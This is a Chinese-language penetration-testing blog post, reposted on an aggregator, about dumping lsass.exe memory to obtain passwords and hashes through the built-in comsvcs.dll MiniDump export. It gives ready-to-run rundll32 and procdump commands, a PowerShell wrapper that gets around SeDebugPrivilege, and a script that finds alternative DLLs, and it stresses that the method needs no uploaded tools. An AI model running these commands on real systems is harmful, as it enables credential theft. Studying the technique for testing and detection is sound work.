5

《MiniDumpWriteDump via COM+ Services DLL》的利用测试

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/MiniDumpWriteDump-via-COM+-Services-DLL-%E7%9A%84%E5%88%A9%E7%94%A8%E6%B5%8B%E8%AF%95/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

《MiniDumpWriteDump via COM+ Services DLL》的利用测试

0x00 前言


最近学习了odzhan文章中介绍的一个技巧,使用C:\windows\system32\comsvcs.dll的导出函数MiniDump能够dump指定进程的内存文件。

文章地址:

https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/

本文将要结合自己的经验,补充在测试过程中需要注意的地方,扩展方法,分析利用思路。编写powershell脚本,实现自动化扫描系统目录下所有dll的导出函数,查看是否存在其他可用的dll,介绍脚本实现的细节。

0x01 简介


本文将要介绍以下内容:

  • dump指定进程内存文件的常用方法
  • 使用comsvcs.dll实现dump指定进程内存文件的方法
  • 编写脚本实现自动化扫描dll的导出函数

0x02 dump指定进程内存文件的常用方法


在渗透测试中,最常用的方法是通过dump进程lsass.exe,从中获得明文口令和hash

在原理上都是使用API MiniDumpWriteDump,参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

常用的实现方法如下:

1.procdump

参数如下:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2.c++实现

https://github.com/killswitch-GUI/minidump-lib

3.powershell实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

4.c#实现

https://github.com/GhostPack/SharpDump

0x03 使用comsvcs.dll实现dump指定进程内存文件的方法


odzhan在文中给出了三种方法

1.通过rundll32

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

示例中lsass.exe的pid为808

注:

此处需要注意权限的问题,在dump指定进程内存文件时,需要开启SeDebugPrivilege权限

管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled,如下图

Alt text

所以说,直接在cmd下执行rundll32的命令尝试dump指定进程内存文件时,由于无法开启SeDebugPrivilege权限,所以会失败

这里给出我的一个解决方法:

管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为Enabled,如下图

Alt text

所以,这里可以通过powershell执行rundll32的命令实现,示例命令如下:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"

2.通过vbs实现

原文提供了完整的实现代码

执行的参数如下:

cscript 1.vbs lsass.exe

vbs脚本首先开启SeDebugPrivilege权限,接着执行rundll32的命令,测试成功

3.通过c实现

原文提供了完整的实现代码

代码先开启SeDebugPrivilege权限,再调用comsvcs.dll的导出函数MiniDumpW,测试成功

0x04 编写脚本实现自动化扫描dll的导出函数


学习完odzhan的文章以后,我产生了一个疑问:

Windows系统目录下是否存在其他可用的dll?

于是,我尝试通过脚本对系统目录下所有dll的导出函数进行筛选,查看是否包含导出函数MiniDumpW

脚本实现上需要考虑以下两个问题:

1.遍历指定目录,获取所有dll

遍历路径C:\windows的测试代码如下:

ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows'  -ErrorAction SilentlyContinue )) 
{
    $file.PSPath
}

由于存在多级目录,这里需要获得dll的绝对路径,而$file.PSPath的格式为Microsoft.PowerShell.Core\FileSystem::C:\windows\RtlExUpd.dll,实际路径需要去除前缀

优化后的代码如下:

ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows'  -ErrorAction SilentlyContinue )) 
{
    $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}

2.获得指定dll的导出函数

这里可以参考https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

在此基础上进行优化,实现整个流程的自动化处理

完整代码已上传至GitHub,地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/Get-AllExports.ps1

对C:\Windows进行筛选的代码如下:

Import-Module ./Get-AllExports.ps1
$Path = 'C:\Windows'
ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path $Path  -ErrorAction SilentlyContinue )) 
{
#   $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
    Get-Exports -DllPath $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}

测试系统:Win7x64

部分结果:

[+] C:\windows\system32\comsvcs.dll-->MiniDumpW
[+] C:\windows\system32\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\windows\system32\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Syswow64\comsvcs.dll-->MiniDumpW
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpWriteDump

测试结果如下:

1.对于不同结构的进程,可用的dll不同

对于32位的进程,可以使用32位和64位的dll:

  • C:\windows\system32\comsvcs.dll
  • C:\Windows\Syswow64\comsvcs.dll
  • C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
  • C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

对于64位的进程,可以使用64位的dll:

  • C:\windows\system32\comsvcs.dll
  • C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll

无法使用32位的dll:

  • C:\Windows\Syswow64\comsvcs.dll
  • C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

2.dbghelp.dll对应API MiniDumpWriteDump

3.SOS.dll中的导出函数minidumpmode

用于防止在使用minidump时执行非安全命令。0表示禁用这个功能,1表示启用。默认为0

0x05 利用分析


如果想要dump指定进程的内存文件,可以使用新的方法,示例命令如下:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"

其中comsvcs.dll可以替换为以下dll:

  • C:\Windows\Syswow64\comsvcs.dll
  • C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
  • C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

这种方法的优点是不需要上传文件,使用系统默认包含的dll就可以实现

0x06 小结


本文在odzhan文章的基础上,补充在测试过程中需要注意的地方,扩展方法,分析利用思路。编写powershell脚本,实现自动化扫描系统目录下所有dll的导出函数。


LEAVE A REPLY

Written on September 2, 2019

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK